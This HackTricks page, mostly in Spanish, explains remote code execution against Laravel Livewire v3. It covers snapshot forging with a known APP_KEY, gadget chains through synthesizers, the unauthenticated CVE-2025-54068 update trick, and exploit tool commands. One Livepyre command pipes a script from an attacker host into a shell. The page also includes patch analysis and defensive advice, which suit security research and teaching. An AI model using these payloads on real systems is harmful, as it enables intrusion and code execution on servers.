Laravel Livewire Hydration & Synthesizer Abuse
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Recap del state machine de Livewire
Los componentes de Livewire 3 intercambian su estado mediante snapshots que contienen data, memo y un checksum. Cada POST a /livewire/update rehidrata el snapshot JSON en el lado del servidor y ejecuta las calls/updates en cola.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Cualquiera que tenga APP_KEY (usada para derivar $hashKey) puede, por tanto, forjar snapshots arbitrarios recomputando el HMAC.
Las propiedades complejas se codifican como synthetic tuples detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tuple es [value, {"s":"<key>", ...meta}]. El núcleo de hydration simplemente delega cada tuple al synth seleccionado en HandleComponents::$propertySynthesizers y recurre sobre los children:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Este diseño recursivo convierte a Livewire en un generic object-instantiation engine una vez que un atacante controla la tupla metadata o cualquier tupla anidada procesada durante la recursión.
Synthesizers que otorgan gadget primitives
| Synthesizer | Comportamiento controlado por el atacante |
|---|---|
CollectionSynth (clctn) | Instancia new $meta['class']($value) después de rehidratar cada hijo. Cualquier clase con un constructor array puede ser creada, y cada elemento puede ser a su vez una tupla sintética. |
FormObjectSynth (form) | Llama a new $meta['class']($component, $path), luego asigna cada public property desde hijos controlados por el atacante mediante $hydrateChild. Constructores que acepten dos parámetros débilmente tipados (o args por defecto) son suficientes para llegar a arbitrary public properties. |
ModelSynth (mdl) | Cuando key no está presente en meta ejecuta return new $class;, permitiendo instanciación sin argumentos de cualquier clase bajo control del atacante. |
Como los synths invocan $hydrateChild en cada elemento anidado, se pueden construir arbitrary gadget graphs apilando tuplas recursivamente.
Forjando snapshots cuando APP_KEY es conocido
- Captura una request legítima a
/livewire/updatey decodificacomponents[0].snapshot. - Inyecta tuplas anidadas que apunten a gadget classes y recomputa
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Vuelve a codificar el snapshot, deja
_token/memosin tocar y reenvía la request.
Una prueba mínima de ejecución usa Guzzle’s FnStream y Flysystem’s ShardedPrefixPublicUrlGenerator. Una tupla instancia FnStream con data del constructor { "__toString": "phpinfo" }, la siguiente instancia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] como $prefixes. Cuando Flysystem castea cada prefix a string, PHP invoca el callable __toString proporcionado por el atacante, llamando a cualquier function sin argumentos.
De function calls a full RCE
Aprovechando las instantiation primitives de Livewire, Synacktiv adaptó la chain Laravel/RCE4 de phpggc para que la hidratación arranque un objeto cuyo estado public Queueable desencadena deserialización:
- Queueable trait – cualquier objeto que use
Illuminate\Bus\Queueableexpone public$chainedy ejecutaunserialize(array_shift($this->chained))endispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) se instancia medianteCollectionSynth/FormObjectSynthcon public$chainedpoblado. - phpggc Laravel/RCE4Adapted – el serialized blob almacenado en
$chained[0]construyePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finalmente llama acall_user_func_array($closure, $args), habilitandosystem($cmd). - Stealth termination – al proporcionar un segundo callable de
FnStreamcomo[new Laravel\Prompts\Terminal(), 'exit'], la request termina conexit()en lugar de una exception ruidosa, manteniendo limpia la HTTP response.
Automatizando la forja de snapshots
synacktiv/laravel-crypto-killer ahora incluye un modo livewire que une todo:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
La herramienta analiza la snapshot capturada, inyecta las tuplas gadget, recomputa el checksum e imprime un payload /livewire/update listo para enviar.
CVE-2025-54068 – RCE sin APP_KEY
Según el advisory del vendor, el problema afecta a Livewire v3 (>= 3.0.0-beta.1 y <= 3.6.3) y es exclusivo de v3.
updates se fusionan en el estado del component después de que se valida el checksum de la snapshot. Si una property dentro de la snapshot es (o se convierte en) una tupla synthetic, Livewire reutiliza sus meta mientras hidrata el valor de update controlado por el attacker:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Receta de exploit:
- Encuentra un componente Livewire con una propiedad pública sin tipar (por ejemplo,
public $count;). - Envía una actualización que establezca esa propiedad en
[]. El siguiente snapshot ahora la almacena como[[], {"s": "arr"}].
Un flujo mínimo de type-juggling se ve así:
POST /livewire/update
...
"updates": {"count": []}
Luego el siguiente snapshot almacena una tupla que conserva los metadatos del synthesizer arr:
"count": [[], {"s": "arr"}]
- Construye otro payload de
updatesdonde esa propiedad contenga un array profundamente anidado que incruste tuplas como[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante la recursión,
hydrate()evalúa cada hijo anidado de forma independiente, así que las synth keys/classes elegidas por el atacante son respetadas aunque la tupla externa y el checksum nunca cambiaron. - Reutiliza las mismas primitivas de
CollectionSynth/FormObjectSynthpara instanciar un gadget Queueable cuyo$chained[0]contenga el payload de phpggc. Livewire procesa las updates forjadas, invocadispatchNextJobInChain(), y llega asystem(<cmd>)sin conocerAPP_KEY.
Razones clave de por qué esto funciona:
updatesno están cubiertos por el checksum del snapshot.getMetaForPath()confía en cualquier metadato synth que ya existiera para esa propiedad, incluso si el atacante previamente la forzó a convertirse en una tupla mediante weak typing.- La recursión más weak typing permiten que cada array anidado se interprete como una tupla nueva, así que synth keys arbitrarias y clases arbitrarias acaban llegando a hydration.
Target de alto valor pre-auth: formularios de login de Filament
Las aplicaciones construidas sobre Livewire a menudo exponen una superficie pre-auth aún más fácil que una propiedad de juguete public $count;. Por ejemplo, las páginas de login de Filament suelen hidratar un objeto $form con tipado débil que ya se serializa como una tupla form en el snapshot. Eso elimina por completo el paso de preparación “scalar -> array -> tupla arr”:
- El snapshot ya contiene algo como
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Un atacante puede enviar
updates.formcon tuplas maliciosas anidadas directamente, porque la recursión acabará reinterpretando hijos como[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Por eso, los entrypoints pre-auth de Livewire que exponen objetos
FormObjectSynthson especialmente atractivos: ya proporcionan tanto instanciación como asignación de propiedades públicas.
Análisis del parche: preservar metadatos raw durante la recursión de update
La corrección introduce una ruta dedicada hydratePropertyUpdate() para que los valores de updates anidados ya no llamen a hydrate($child, ...) genérico sobre hijos controlados por el atacante:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Impacto de seguridad del patch:
- Las nested updates se vuelven a validar contra la ruta original de raw snapshot en lugar de confiar en fresh attacker-supplied tuple metadata.
- Recursive hydration ya no permite que los children redefinan
soclassa mitad de ejecución. - Esto bloquea tanto arbitrary synthesizer switching como arbitrary class selection dentro de nested update arrays.
Livepyre – end-to-end exploitation
Livepyre automatiza tanto el APP_KEY-less CVE como la ruta de signed-snapshot:
- Fingerprints la versión de Livewire desplegada analizando
<script src="/livewire/livewire.js?id=HASH">(o?v=HASH) y mapeando el hash a releases vulnerables. - Collects baseline snapshots reproduciendo acciones benignas y extrayendo
components[].snapshot. - Genera un payload solo de
updates(CVE-2025-54068) o un forged snapshot (known APP_KEY) que embebe la cadena phpggc. - Si no se encuentra ningún parámetro object-typed en un snapshot, Livepyre recurre a brute-forcing de candidate params para alcanzar una property coercible.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check ejecuta una sondeo no destructiva, -F omite el version gating, -H y -P añaden headers o proxies personalizados, y --function/--param personalizan la función php invocada por la gadget chain.
Defensive considerations
- Actualiza a versiones corregidas de Livewire (>= 3.6.4 según el boletín del proveedor) y despliega el parche del proveedor para CVE-2025-54068.
- Evita propiedades públicas débilmente tipadas en componentes de Livewire; los tipos escalares explícitos impiden que los valores de las propiedades se coaccionen a arrays/tuples.
- Registra solo los synthesizers que realmente necesites y trata los metadatos controlados por el usuario (
$meta['class']) como no confiables. - Rechaza actualizaciones que cambien el tipo JSON de una propiedad (p. ej., scalar -> array) salvo que esté explícitamente permitido, y vuelve a derivar synth metadata en lugar de reutilizar tuples obsoletos.
- Rota
APP_KEYcon prontitud después de cualquier disclosure porque permite forjar snapshots offline sin importar lo parcheado que esté el code-base.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


